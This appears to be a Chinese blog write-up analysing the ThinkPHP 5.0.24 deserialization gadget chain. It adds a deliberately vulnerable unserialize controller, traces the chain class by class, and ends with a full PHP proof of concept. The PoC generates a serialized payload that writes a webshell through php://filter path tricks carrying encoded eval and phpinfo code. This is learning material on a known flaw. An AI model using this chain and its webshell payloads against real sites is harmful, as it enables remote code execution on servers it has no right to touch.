前言
作为一名小白,对于反序列化,之前一直没有时间接触,只在ctf中偶尔遇见,而且还是很短的那种,在项目源码中利用反序列化,要比前者难得多,所以这次我利用两天的时间,好好研究了thinkphp5.0.24这个经典的反序列化漏洞,收获不少,在此记录一下。
复现环境
windows10
phpstudy(apache+mysql)
thinkphp5.0.24
php5.6.9
搭建环境
下载thinkPHP
下载地址:http://www.thinkphp.cn/donate/download/id/1279.html
将源码解压后放到PHPstudy根目录,修改application/index/controller/Index.php文件,此为框架的反序列化漏洞,只有二次开发且实现反序列化才可利用。所以我们需要手工加入反序列化利用点。
class Index { public function index() { echo "Welcome thinkphp 5.0.24"; unserialize(base64_decode($_GET['a'])); } }
访问以下,确保能正常访问。
分析
我们的目的就是通过__destruct想法设法调用output类中的__call来实现命令执行,首先查找__destruct
找到这些,就不一个个分析了,只有Windows.php里的__destruct可以作为入口点。
我们进入Windows,php查看该__destruct
public function __destruct() { $this->close(); $this->removeFiles(); }
跟进这个方法,发现close为关闭文件的方法,没有利用点,而removeFiles中有个file_exists正好可以触发__toString.
private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
然后我们就去寻找__toString。全局搜素__toString
发现了这么多,根据前人的铺垫我们选择Model中的__toString。代码如下:
public function __toString() { return $this->toJson(); }
跟进toJson
public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); }
跟进toArray
public function toArray() { ........ if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation); if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
只要对象可控,且调用了不存在的方法,就会调用__call方法。大体扫描了一遍,发现能调用__call的只有如下四个形式
1.$item[$key] = $relation->append($name)->toArray(); 2.$item[$key] = $relation->append([$attr])->toArray(); 3.$bindAttr = $modelRelation->getBindAttr(); 4.$item[$key] = $value ? $value->getAttr($attr) : null;
通过分析发现1,2$relation返回错误,不可利用。3中的$modelRelation只能为Relation类型,因此不可控。
只有4是可以利用的,要使代码走到4,需要多个关卡。
七大关
1.!empty($this->append) # $this->append不为空 2.!is_array($name) #$name不能为数组 3.!strpos($name, '.') #$name不能有. 4.method_exists($this, $relation)#$relation必须为Model类里的方法 5.method_exists($modelRelation, 'getBindAttr')#$modelRelation必须存在getBindAttr方法 6.$bindAttr #必须有值 7.!isset($this->data[$key]) #$key不能在$this->data这个数组里有相同的值。
只有通过这七关我们就来到代码4了。
第1-4关
我们来分析一下。在toArray方法中,$this->append是可控的,因此$key和$name也是可控的,我们只需要使$this->append=’fuck‘]随便几个字符就可通过前三关,到了第四关,发现$relation跟$name有关系.如下:
$relation = Loader::parseName($name, 1, false);
通过搜索发现parseName这是一个风格转换函数,也就是说$name==$relation。
/** * 字符串命名风格转换 * type 0 将 Java 风格转换为 C 的风格 1 将 C 风格转换为 Java 的风格 * @access public * @param string $name 字符串 * @param integer $type 转换类型 * @param bool $ucfirst 首字母是否大写(驼峰规则) * @return string */ public static function parseName($name, $type = 0, $ucfirst = true) { if ($type) { $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) { return strtoupper($match[1]); }, $name); return $ucfirst ? ucfirst($name) : lcfirst($name); } return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_")); }
所以,要想通过第四关,我们就不能瞎写了,需要写成$this->append=['getError'],getError为Model类里的方法,且结构简单返回值可控。代码如下:
public function getError() { return $this->error; }
第5关
$modelRelation定义如下:
$modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
第四关时已经说了,$relation为getError,返回值可控,即$modelRelation可控。跟进getRelationData方法,如下:
protected function getRelationData(Relation $modelRelation) { if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) { $value = $this->parent; } else { // 首先获取关联数据 if (method_exists($modelRelation, 'getRelation')) { $value = $modelRelation->getRelation(); } else { throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation'); } } return $value; }
我们看到$modelRelation必须为Relation对象,通过$this->error控制,并且$modelRelation这个对象还要有isSelfRelation()、getModel()方法,
搜索这两种方法发现Relation类中都有,但因为Relation为抽象类,需要寻找他的子类。全局搜索。
除了最后一个是抽象类外,都可以拿来用,但是!!!,我们别忘了第五关,需要$modelRelation必须存在getBindAttr方法,但是Relation没有getBindAttr方法,只有OneToOne类里有,且OneToOne类正好继承Relation类,不过是抽象类,所以我们需要找它的自类。全局搜索
发现存在两个可用的,我们选择第二个HasOne,即$this->error=new HasOne()。好了,调用方法的问题解决了,但是还需要过三小关
$this->parent !$modelRelation->isSelfRelation() get_class($modelRelation->getModel()) == get_class($this->parent)
$this->parent可控,我们要使用Output类中的__call,所以$value必须为output对象,所以$this->parent必须控制为output对象,即$this->parent=new Output().
我们看一下isSelfRelation()方法
public function isSelfRelation() { return $this->selfRelation; }
$this->selfRelation可控,设为false即可。
第2小关已过,看第3小关,
get_class()的意思为 返回对象实例 obj 所属类的名字。
$this->parent已经确定为Output类了,所以我们要控制get_class($modelRelation->getModel())为Output类,看一下getModel()的实现
public function getModel() { return $this->query->getModel(); }
$this->query可控,我们只需要找个getModel方法返回值可控的就可了,全局搜索getModel方法
发现前两个的getModel方法返回值都可控,如下:
public function getModel() { return $this->model; } }
随机挑选一个幸运儿Query,使$this->query=new Query() ,$this->model=new Output()即可。
三小关已过,if方法为True,$value=$this->parent=new Output(). 第五关也顺其而然的过了。
第6关
$bindAttr的定义如下:
$bindAttr = $modelRelation->getBindAttr();
看一下getBindAttr()方法:
public function getBindAttr() { return $this->bindAttr; }
$this->bindAttr可控,$this->bindAttr=["kanjin","kanjinaaa"],随便写即可。
终于到达 $item[$key] = $value ? $value->getAttr($attr) : null; 因为Output类中没有getAttr方法,所以会去调用__call方法。
__call
查看Output类中的__call方法
public function __call($method, $args) { if (in_array($method, $this->styles)) { array_unshift($args, $method); return call_user_func_array([$this, 'block'], $args); } if ($this->handle && method_exists($this->handle, $method)) { return call_user_func_array([$this->handle, $method], $args); } else { throw new Exception('method not exists:' . __CLASS__ . '->' . $method); } } }
当因为没有getAttr方法去调用__call方法时,__call方法中的$method=getAttr, $args=['kanjinaaa']
我们要使用call_user_func_array([$this, 'block'], $args); 就要使in_array($method, $this->styles)成立。$this->styles可控,即$this->styles=['getAttr']
array_unshift($args, $method); 是将$method添加到数组$args中不用管。
进入call_user_func_array([$this, 'block'], $args); 调用了block方法,跟进block方法。
protected function block($style, $message) { $this->writeln("<{$style}>{$message}</$style>"); }
跟进writeln方法
public function writeln($messages, $type = self::OUTPUT_NORMAL) { $this->write($messages, true, $type); }
跟进write方法
public function writeln($messages, $type = self::OUTPUT_NORMAL) { $this->write($messages, true, $type); }
$this->handle可控全局查找可利用的write方法。
这里我使用了/thinkphp/library/think/session/driver/Memcache.php里的write方法,因为有set可作为跳板。
public function write($sessID, $sessData) { return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']); }
$this->handler可控,全局查找set方法,
这里使用了/thinkphp/library/think/cache/driver/File.php里的set方法.
public function set($name, $value, $expire = null) { if (is_null($expire)) { $expire = $this->options['expire']; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } $filename = $this->getCacheKey($name, true); if ($this->tag && !is_file($filename)) { $first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else { return false; } }
可以看到这里有文件写入操作,可以写入webshell,但是$data是由$value控制的,$value为writeln中的true,不可控。但是进入setTagItem方法之后发现,会将$name换成$value再一次执行了set方法。setTagItem方法如下:
protected function setTagItem($name) { if ($this->tag) { $key = 'tag_' . md5($this->tag); $this->tag = null; if ($this->has($key)) { $value = explode(',', $this->get($key)); $value[] = $name; $value = implode(',', array_unique($value)); } else { $value = $name; } $this->set($key, $value, 0); } }
而$name通过getCacheKey方法我们是可控的,getCacheKey方法如下:
protected function getCacheKey($name, $auto = false) { $name = md5($name); if ($this->options['cache_subdir']) { // 使用子目录 $name = substr($name, 0, 2) . DS . substr($name, 2); } if ($this->options['prefix']) { $name = $this->options['prefix'] . DS . $name; } $filename = $this->options['path'] . $name . '.php'; $dir = dirname($filename); if ($auto && !is_dir($dir)) { mkdir($dir, 0755, true); } return $filename; }
$this->options['path']可控,通过php伪协议绕过exit()限制,即
$this->options['path']=php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>
生成的文件名为
md5('tag_'.md5($this->tag)) 即: md5('tag_c4ca4238a0b923820dcc509a6f75849b') =>3b五八a9545013e88c7186db11bb158c44 => <?cuc cucvasb();riny($_TRG[pzq]);?> + 3b五八a9545013e88c7186db11bb158c44 最终文件名: <?cuc cucvasb();riny($_TRG[pzq]);?>3b五八a9545013e88c7186db11bb158c44.php
但是上面这种文件名只能在Linux使用,window对文件名有限制。
对于windows环境我们可以使用以下payload.
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
生成的文件名如下:
原理可以看这篇文章:https://xz.aliyun.com/t/7457#toc-3
poc
通过以上分析编写出了poc,里面包含了我在编写时遇到的问题和解决方法,共勉。
<
<?php namespace think\process\pipes; use think\model\Pivot; class Pipes{ } class Windows extends Pipes{ private $files=[]; function __construct(){ $this->files=[new Pivot()]; } } namespace think; use think\model\relation\HasOne; // use 这里是函数名 用大写开头 写成了use think\model\relation\hasOne; use think\console\Output; abstract class Model{ protected $append = []; protected $error; public $parent; // 类型写错写错了 写成了 protected $parent; public function __construct(){ $this->append=["getError"]; $this->error=new HasOne(); $this->parent=new Output(); } } namespace think\model\relation; use think\model\Relation; class HasOne extends OneToOne{ function __construct(){ parent::__construct(); } } namespace think\model; use think\db\Query; abstract class Relation{ protected $selfRelation; protected $query; function __construct(){ $this->selfRelation=false; $this->query= new Query(); } } namespace think\console; use think\session\driver\Memcache; class Output{ private $handle = null; protected $styles = []; //类型错了 写成了private $styles = []; function __construct(){ $this->styles=['getAttr']; //这个条件忘记加了 注意上下文 $this->handle=new Memcache(); } } namespace think\db; use think\console\Output; class Query{ protected $model; function __construct(){ $this->model= new Output(); } } namespace think\model\relation; use think\model\Relation; abstract class OneToOne extends Relation{ protected $bindAttr = []; function __construct(){ parent::__construct(); $this->bindAttr=["kanjin","kanjin"]; } } namespace think\session\driver; use think\cache\driver\File; class Memcache{ protected $handler = null; function __construct(){ $this->handler=new File(); } } namespace think\cache\driver; use think\cache\Driver; class File extends Driver{ protected $options=[]; function __construct(){ parent::__construct(); $this->options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php', 'data_compress' => false, ]; } } namespace think\cache; abstract class Driver{ protected $tag; function __construct(){ $this->tag=true; } } namespace think\model; use think\Model; class Pivot extends Model{ } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); // ?>
漏洞复现
通过poc生成base64字符串,进行利用。
访问生成的文件名
参考链接
https://www.yuque.com/tidesec/0sec/26a6f72b99dd3465134d534f96aab0a0#IS5Q6